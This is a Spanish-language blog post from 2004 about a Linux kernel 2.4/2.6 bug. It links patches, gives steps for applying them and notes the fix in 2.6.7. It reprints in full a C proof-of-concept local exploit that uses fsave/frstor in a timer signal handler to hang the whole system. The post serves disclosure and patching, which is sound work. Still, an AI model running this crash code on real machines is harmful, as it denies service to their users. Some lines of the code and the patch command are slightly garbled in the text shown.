Nuevo Bug en Kernels 2.4 y 2.6

Un bug en las últimas versiones del kernel de linux 2.4 y 2.6, hace que un simple programa en C pueda colgar todo el sistema.

Son vulnerables prácticamente todas las versiones (en el momento de escribir el artículo, ha salido 2.6.7, que soluciona el bug), menos algunos kernels de gentoo y otras distros.

Parches para 2.4:

Parche para 2.4 x86

Parche para 2.4 x86-64

Parches para 2.6:

Nota: El nuevo kernel 2.6.7 ya soluciona este bug. El link para bajarlo está en el marco de kernels a la derecha de la web.

Parche para 2.6, x86

Parche para 2.6, x86-64

Recordando por penúltima vez como se aplica un parche al kernel:

Suponiendo que tenemos las fuentes en /usr/src/linux-2.4.26, y que el parche se llama nombre_parche.patch,

# patch -p1 -d /usr/src/linux-2.4.26

Y éste es el código que cuelga la máquina:


/* --------------------
   * frstor Local Kernel exploit
   * Crashes any kernel from 2.4.18
   * to 2.6.7 because frstor in assembler inline offsets in memory by 4.
   * Original proof of concept code
   * by stian_@_nixia.no.
   * Added some stuff by lorenzo_@_gnu.org
   * and fixed the fsave line with (*fpubuf).
   * --------------------
   */
  
  /*
  ---------
  Some debugging information made
  available by stian_@_nixia.no
  ---------
  TakeDown:
          pushl   %ebp
          movl    %esp, %ebp
          subl    $136, %esp
          leal    -120(%ebp), %eax
          movl    %eax, -124(%ebp)
  #APP
          fsave -124(%ebp)
  
  #NO_APP
          subl    $4, %esp
          pushl   $1
          pushl   $.LC0
          pushl   $2
          call    write
          addl    $16, %esp
          leal    -120(%ebp), %eax
          movl    %eax, -128(%ebp)
  #APP
          frstor -128(%ebp)
  
  #NO_APP
          leave
          ret
  */
  
  #include 
  #include 
  #include 
  
  static void TakeDown(int ignore)
  {
   char fpubuf[108];
  // __asm__ __volatile__ ("fsave %0n" : : "m"(fpubuf));
  __asm__ __volatile__ ("fsave %0n" : : "m"(*fpubuf)); 
   write(2, "*", 1);
   __asm__ __volatile__ ("frstor %0n" : : "m"(fpubuf));
  }
  
  int main(int argc, char *argv[])
  {
   struct itimerval spec;
   signal(SIGALRM, TakeDown);
   spec.it_interval.tv_sec=0;
   spec.it_interval.tv_usec=100;
   spec.it_value.tv_sec=0;
   spec.it_value.tv_usec=100;
   setitimer(ITIMER_REAL, &spec, NULL);
   while(1)
    write(1, ".", 1);
  
   return 0;
  }
  // 



 


Trackback

Trackback URL for this entry:
http://www.gra2.com/trackback.php/20040616222735785

No trackback comments for this entry.

Comments

Post a comment

Search



About

newton.gra2.com is a blog about technology, opinion and random thoughts written by Daniel Alvarez, a computer engineer currently living in Zurich, Switzerland.

Topics

News (20/0)
Manuals (24/0)
Security (7/0)
Music (3/0)
Weeklog (1/0)
Personal (34/0)
Photos (3/0)
Opinion (14/0)
Windows (5/0)

Blogroll

Pros i contres (Jordi)
Entrepa de fusta (Oriol)
Spaghetti Code (Isaac)
Made in net (Eric)
Nogare (Juan)
Blog de Isaac Jimenez
Web d'en Jaume Benet
Montcada Wireless (Fran)
Blog d'en Ricard Forniol
Angela Fabregues
in.solit.us

Libertad Digital
FOX News
The Wall Street Journal
The Washington Times
The Jerusalem Post

Michelle Malkin
Eurabian News
Nihil Obstat
Barcepundit
Expose the left
Davids Medienkritik
Johan Norberg
Ayaan Hirsi Ali

User Functions

:

:


Lost your password?

Latest posts

Stories

No new stories

Comments last 2 days


Trackbacks last 2 days

No new trackback comments

Links last 2 weeks

No recent new links